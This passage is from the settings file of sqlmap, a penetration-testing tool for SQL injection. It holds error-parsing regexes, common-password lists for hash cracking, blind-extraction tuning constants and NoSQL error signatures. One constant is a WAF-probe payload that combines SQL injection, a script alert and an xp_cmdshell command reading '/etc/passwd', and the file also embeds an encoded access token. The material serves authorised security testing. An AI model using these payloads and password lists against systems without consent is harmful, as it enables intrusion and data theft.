    r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
    r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
    r"(?P<result>query error: SELECT[^<>]+)",
    r"(?P<result>(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)",
    r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P<result>[^"]+)"'      # generic JSON error-message field (NoSQL document/REST back-ends)
)

# Regular expression used for parsing charset info from meta html headers (Note: the tempered token
# '(?:(?!</head>).)*?' keeps the meta strictly INSIDE <head> - as the old trailing '.*</head>' did -
# while the bounded meta-attr scan '{0,300}?' keeps it LINEAR; the old greedy form went quadratic and
# hung for many minutes on an attacker-controlled body full of '<meta' tokens lacking '>'/'</head>')
META_CHARSET_REGEX = r"""(?si)<head\b[^>]*>(?:(?!</head>).)*?<meta[^>]{0,300}?charset\s*=\s*["']?(?P<result>[^"'> ]+)"""

# Regular expression used for parsing refresh info from meta html headers
META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'

# Regular expression used for parsing Javascript redirect request
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=\s*["\'](?P<result>[^"\']+)'

# Regular expression used for parsing empty fields in tested form data
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=)(?=&|\Z)'

# Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf
COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18")

# Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html
COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ",", "@")

# Most common passwords (frequency-ordered) tried for very slow, per-hash-salted algorithms (bcrypt) where a
# full dictionary is impractical; kept small on purpose so a candidate-major attack stays within a time budget
COMMON_PASSWORDS = ("123456", "123456789", "12345678", "password", "qwerty", "12345", "123123", "111111", "1234567890", "1234567", "qwerty123", "000000", "1q2w3e", "abc123", "password1", "1234", "qwertyuiop", "123321", "password123", "1q2w3e4r5t", "iloveyou", "654321", "666666", "987654321", "1q2w3e4r", "7777777", "dragon", "1qaz2wsx", "123qwe", "monkey", "123456a", "112233", "qwe123", "159753", "letmein", "11111111", "222222", "123abc", "qazwsx", "555555", "princess", "admin", "121212", "1234qwer", "sunshine", "football", "aaaaaa", "123123123", "computer", "michael", "superman", "welcome", "zxcvbnm", "asdfghjkl", "1111", "shadow", "master", "999999", "88888888", "secret", "qwerty1", "12341234", "101010", "1111111", "asdfgh", "147258369", "qwertyui", "123654", "google", "123456789a", "ashley", "jesus", "ninja", "mustang", "baseball", "jennifer", "hunter", "soccer", "batman", "andrew", "tigger", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "hannah", "maggie", "696969", "harley", "1234abcd", "trustno1", "buster", "starwars", "freedom", "whatever", "qazwsxedc", "passw0rd")

# Splitter used between requests in WebScarab log files
WEBSCARAB_SPLITTER = "### Conversation"

# Splitter used between requests in BURP log files
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)"

# Regex used for parsing XML Burp saved history items
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'

# Encoding used for Unicode data
UNICODE_ENCODING = "utf8"

# Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri
URI_HTTP_HEADER = "URI"

# Uri format which could be injectable (e.g. www.site.com/id82)
URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"

# Regex used for masking sensitive data
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"

# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "authCred", "sqlQuery", "requestFile", "csrfToken", "csrfData", "csrfUrl", "testParameter")

# Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10

# Wrapper applied to MySQL UNION-based retrieval values to neutralize "Illegal mix of collations" errors (e.g. utf8mb4_0900_ai_ci tables vs a utf8mb4_general_ci connection on MySQL 8+). CONVERT normalizes the (possibly binary) charset to utf8mb4 and the explicit COLLATE then wins the UNION column merge (highest coercibility)
MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"

# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
KEYSET_MIN_ROWS = 1000

# Number of consecutive Huffman (set-membership) character attempts allowed to decline/escape without a single validated success before the technique latches itself off (safety against trimmed/blocked long IN() payloads)
HUFFMAN_PROBE_LIMIT = 8

# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently
# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common
# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online
# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen
# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here).
HUFFMAN_PRIOR_WEIGHTS = {}
for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")):
    for _char in _chars:
        HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight

# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier
# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/
# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT
# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user).
NAME_PREDICTION_CONTEXTS = ("Tables", "Columns")

# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind
# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first
# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the
# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree
# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model.
NAME_MARKOV_ORDER = 3
CATALOG_IDENTIFIERS_PRIOR_PEAK = 20

# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality
# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by
# equality against the values already seen for that column (one request on a hit) before per-character
# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap.
LOW_CARDINALITY_THRESHOLD = 32

# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer
# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just
# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy
# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a
# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption
# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before
# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable.
ORACLE_LITMUS_CHECK_EVERY = 25

# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so
# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this
# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with
# many near-unique values can only ever waste a small, bounded number of probes before falling back.
LOW_CARDINALITY_MAX_GUESSES = 8

# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is
# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps
# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged
# the speculative restricted-search-then-escalate cost.
DUMP_CHARSET_STABLE_ROWS = 3

# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration
# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...)
# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers
# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character
# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration).
PREDICTION_FEEDBACK_MAX_LENGTH = 128
PREDICTION_FEEDBACK_MAX_ITEMS = 10000

# Minimum range between minimum and maximum of statistical set
MIN_STATISTICAL_RANGE = 0.01

# Minimum value for comparison ratio
MIN_RATIO = 0.0

# Maximum value for comparison ratio
MAX_RATIO = 1.0

# Minimum length of sentence for automatic choosing of --string (in case of high matching ratio)
CANDIDATE_SENTENCE_MIN_LENGTH = 10

# Character used for marking injectable position inside provided data
CUSTOM_INJECTION_MARK_CHAR = '*'

# Wildcard value that can be used in option --ignore-code
IGNORE_CODE_WILDCARD = '*'

# Other way to declare injection position
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"

# Minimum chunk length used for retrieving data over error based payloads
MIN_ERROR_CHUNK_LENGTH = 8

# Maximum chunk length used for retrieving data over error based payloads
MAX_ERROR_CHUNK_LENGTH = 1024

# Do not escape the injected statement if it contains any of the following SQL keywords
EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)

# Mark used for replacement of reflected values
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"

# Regular expression used for replacing border non-alphanum characters
REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"

# Regular expression used for replacing non-alphanum characters
REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,168}"

# Maximum time (in seconds) spent per reflective value(s) replacement
REFLECTED_REPLACEMENT_TIMEOUT = 3

# Maximum number of alpha-numerical parts in reflected regex (for speed purposes)
REFLECTED_MAX_REGEX_PARTS = 10

# Chars which can be used as a failsafe values in case of too long URL encoding value
URLENCODE_FAILSAFE_CHARS = "()|,"

# Factor used for yuge page multiplication
YUGE_FACTOR = 1000

# Maximum length of URL encoded value after which failsafe procedure takes away
URLENCODE_CHAR_LIMIT = 2000

# Default schema for Microsoft SQL Server DBMS
DEFAULT_MSSQL_SCHEMA = "dbo"

# Display hash attack info every mod number of items
HASH_MOD_ITEM_DISPLAY = 11

# Display marker for (cracked) empty password
HASH_EMPTY_PASSWORD_MARKER = "<empty>"

# Maximum integer value
MAX_INT = sys.maxsize

# Signed 64-bit range of SQLite's INTEGER storage class (used for safe --dump-format=SQLITE typing)
SQLITE_INT_MIN = -0x8000000000000000
SQLITE_INT_MAX = 0x7fffffffffffffff

# Replacement for unsafe characters in dump table filenames
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'

# Options that need to be restored in multiple targets run mode
RESTORE_MERGED_OPTIONS = ("col", "db", "dbms", "os", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")

# Parameters to be ignored in detection phase (upper case)
IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", "SESSID", "CFID", "CFTOKEN")

# Regular expression used for recognition of ASP.NET control parameters
ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$"

# Regex for Google analytics cookie names
GOOGLE_ANALYTICS_COOKIE_REGEX = r"(?i)\A(_ga|_gid|_gat|_gcl_au|__utm[abcz])"

# Prefix for configuration overriding environment variables
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"

# General OS environment variables that can be used for setting proxy address
PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")

# Turn off resume console info to avoid potential slowdowns
TURN_OFF_RESUME_INFO_LIMIT = 20

# Strftime format for results file used in multiple target mode
RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv"

# Official web page with the list of Python supported codecs
CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encodings"

# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("

# Option/switch values to ignore during configuration save
IGNORE_SAVE_OPTIONS = ("saveConfig",)

# IP address of the localhost
LOCALHOST = "127.0.0.1"

# Default SOCKS ports used by Tor
DEFAULT_TOR_SOCKS_PORTS = (9050, 9150)

# Default HTTP ports used by Tor
DEFAULT_TOR_HTTP_PORTS = (8123, 8118)

# Percentage below which comparison engine could have problems
LOW_TEXT_PERCENT = 20

# Auxiliary value used in isDBMSVersionAtLeast() version comparison correction cases
VERSION_COMPARISON_CORRECTION = 0.0001

# These MySQL keywords can't go (alone) into versioned comment form (/*!...*/)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")

# Keywords expected to be in UPPERCASE in getValue()
GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT")

LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program"

# After this number of misses reflective removal mechanism is turned off (for speed up reasons)
REFLECTIVE_MISS_THRESHOLD = 20

# Regular expression used for extracting HTML title
HTML_TITLE_REGEX = r"(?i)<title>(?P<result>[^<]+)</title>"

# Table used for Base64 conversion in WordPress hash cracking routine
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
IGNORED_OPTIONS = ("--compressed",)

# Chars used to quickly distinguish if the user provided tainted parameter values
DUMMY_SQL_INJECTION_CHARS = ";()'"

# Simple check against dummy users
DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b"

# Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx"))

# Endpoint mining inside JavaScript bundles during crawling (SPA API routes live in .js, invisible to
# href/src scraping): quoted absolute-path or same-origin-URL string literals (fetch/axios/XHR targets).
# MAX_* caps per-bundle results so a noisy minified file cannot flood the target list.
JAVASCRIPT_ENDPOINT_REGEX = r'''["'`](?P<result>(?:https?:)?//[\w.:@-]+/[^"'`\s]*|/[A-Za-z0-9_][^"'`\s]*)["'`]'''
MAX_JAVASCRIPT_ENDPOINTS = 200
# only the leading slice of a bundle/source-map is scanned for endpoints - bounds CPU/RAM on a hostile response
MAX_JAVASCRIPT_MINE_SIZE = 1 * 1024 * 1024
# max source distance (chars) between a string-constant assignment and a `name + "/suffix"` use it may fold into
MAX_JAVASCRIPT_FOLD_DISTANCE = 2048
# cap on Disallow/Allow/Sitemap lines consumed from a (potentially hostile) robots.txt
MAX_ROBOTS_ENTRIES = 1000
# bounds on sitemap parsing: number of sitemap documents fetched (recursion fan-out) and total URLs kept
MAX_SITEMAP_FETCHES = 100
MAX_SITEMAP_URLS = 100000

# Patterns often seen in HTTP headers containing custom injection marking character '*'
# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a
# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then
# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection)
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)"

# Template used for common table existence check
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"

# Template used for common column existence check
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"

# Data inside shellcodeexec to be filled with random string
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

# Period after last-update to start nagging about the old revision
LAST_UPDATE_NAGGING_DAYS = 180

# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05

# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
CHECK_INTERNET_ADDRESS = "http://www.google.com/generate_204"

# HTTP code to look in response to CHECK_INTERNET_ADDRESS
CHECK_INTERNET_CODE = 204

# Payload used for checking of existence of WAF/IPS (dummier the better)
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"

# Used for status representation in dictionary attack phase
ROTATING_CHARS = ('\\', '|', '|', '/', '-')

# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024

# Compress level used for storing BigArray chunks to disk (0-9)
BIGARRAY_COMPRESS_LEVEL = 4

# Maximum number of socket pre-connects
SOCKET_PRE_CONNECT_QUEUE_SIZE = 3

# Only console display last n table rows
TRIM_STDOUT_DUMP_SIZE = 256

# Reference: http://stackoverflow.com/a/3168436
# Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149
DUMP_FILE_BUFFER_SIZE = 1024

# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size)
PURGE_BLOCK_SIZE = 1024 * 1024

# Parse response headers only first couple of times
PARSE_HEADERS_LIMIT = 3

# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_STEP = 10

# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
ORDER_BY_MAX = 1000

# Maximum number of times for revalidation of a character in inference (as required)
MAX_REVALIDATION_STEPS = 5

# Characters that can be used to split parameter values in provided command line (e.g. in --tamper)
PARAMETER_SPLITTING_REGEX = r"[,|;]"

# Attribute used for storing original parameter value in special cases (e.g. POST)
UNENCODED_ORIGINAL_VALUE = "original"

# Common column names containing usernames (used for hash cracking in some cases)
COMMON_USER_COLUMNS = frozenset(("login", "user", "uname", "username", "user_name", "user_login", "account", "account_name", "auth_user", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser"))

# Default delimiter in GET/POST values
DEFAULT_GET_POST_DELIMITER = '&'

# Default delimiter in cookie values
DEFAULT_COOKIE_DELIMITER = ';'

# Unix timestamp used for forcing cookie expiration when provided with --load-cookies
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"

# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24)
GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe"

# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge)
HASHDB_STALE_DAYS = 7

# Flush HashDB threshold number of cached items
HASHDB_FLUSH_THRESHOLD_ITEMS = 200

# Flush HashDB threshold "dirty" time
HASHDB_FLUSH_THRESHOLD_TIME = 5

# Number of retries for unsuccessful HashDB flush attempts
HASHDB_FLUSH_RETRIES = 3

# Number of retries for unsuccessful HashDB retrieve attempts
HASHDB_RETRIEVE_RETRIES = 3

# Number of retries for unsuccessful HashDB end transaction attempts
HASHDB_END_TRANSACTION_RETRIES = 3

# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism)
HASHDB_MILESTONE_VALUE = "CvHUbaSNZL"  # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'

# Warn user of possible delay due to large page dump in full UNION query injections
LARGE_OUTPUT_THRESHOLD = 1024 ** 2

# Give up on hash recognition if nothing was found in first given number of rows
HASH_RECOGNITION_QUIT_THRESHOLD = 1000

# Wall-clock budget (in seconds) for the pure-Python cracking of very slow, per-hash-salted algorithms
# (bcrypt); candidate-major so the most common passwords are tried against every hash first, then it stops
# and the remainder is left for a dedicated tool (e.g. 'hashcat'). Overridable via 'SQLMAP_HASH_ATTACK_TIME_LIMIT'
HASH_ATTACK_TIME_LIMIT = 300

# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash|secret|digest"

# Regular expression matching (declared) binary column types, used to auto-hex their values during dumping
# so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by
# the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type)
BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b"

# Uppercased keywords of the above, for building an in-SQL "is this column binary-typed?" check when only
# column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX)
BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW")

# MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they
# must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global)
MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b"

# Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce
MAX_SINGLE_URL_REDIRECTIONS = 4

# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
MAX_TOTAL_REDIRECTIONS = 10

# Maximum (deliberate) delay used in page stability check
MAX_STABILITY_DELAY = 0.5

# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
MAX_DNS_LABEL = 63

# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so
# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the
# value is popped right after it is triggered, so only recent entries ever matter)
MAX_DNS_REQUESTS = 1000

# Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content)
DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters)

# Alphabet used for heuristic checks
HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')

# Minor artistic touch
BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)

# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)"

# Regular expression used for recognition of file inclusion errors
FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"

# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection
NOSQL_ERRORS = (
    ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"),
    ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'),
    ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['),
    ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"),
    # NOTE: 'MERGE' is not Cypher-only. It is standard SQL, so it matched "Incorrect syntax near 'MERGE'"
    ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|LOAD CSV)'"),
    ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"),
    # NOTE: the ANTLR "line N:M no viable alternative" line is not evidence of Cassandra on its own -
    # Hibernate 6 and Trino emit it word for word. What IS particular to the CQL grammar: the driver
    # exception in front of it, the ANTLR3 lexer wording ('mismatched character', which the ANTLR4
    # parsers do not have), and the "(...[TOKEN]...)" excerpt that CQL appends to the offending token
    ("Cassandra", r"\b(?:ResponseError|SyntaxException|InvalidRequestException|InvalidQueryException)\b[^\n]{0,60}?line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input)|line \d+:\d+ (?:mismatched character|no viable alternative at input '[^']*' \(\.\.\.)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"),
    ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"),
    ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"),
    ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"),
    ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"),
    ("DynamoDB", r"Statement wasn't well formed, can't be processed|software\.amazon\.awssdk\.services\.dynamodb|com\.amazonaws\.services\.dynamodbv2|\bDynamoDb(?:Exception|Error)\b"),
)
NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS)

# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction
NOSQL_CHAR_MIN = 0x20
NOSQL_CHAR_MAX = 0x7e

# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump
NOSQL_MAX_FIELDS = 64

# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump
NOSQL_MAX_RECORDS = 100

# Upper bound for the length search during NoSQL blind extraction
NOSQL_MAX_LENGTH = 1024

